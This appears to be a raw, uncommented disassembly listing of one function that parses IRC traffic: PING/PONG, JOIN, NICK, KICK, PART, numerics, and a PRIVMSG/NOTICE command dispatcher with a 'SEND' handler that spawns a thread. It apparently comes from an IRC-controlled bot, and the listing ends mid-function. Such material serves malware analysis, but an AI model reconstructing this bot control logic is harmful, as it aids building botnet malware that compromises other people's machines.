var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA30 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA2C ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA28 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C968


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C944
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C928
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 266057Dh
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660545h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C8E8
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


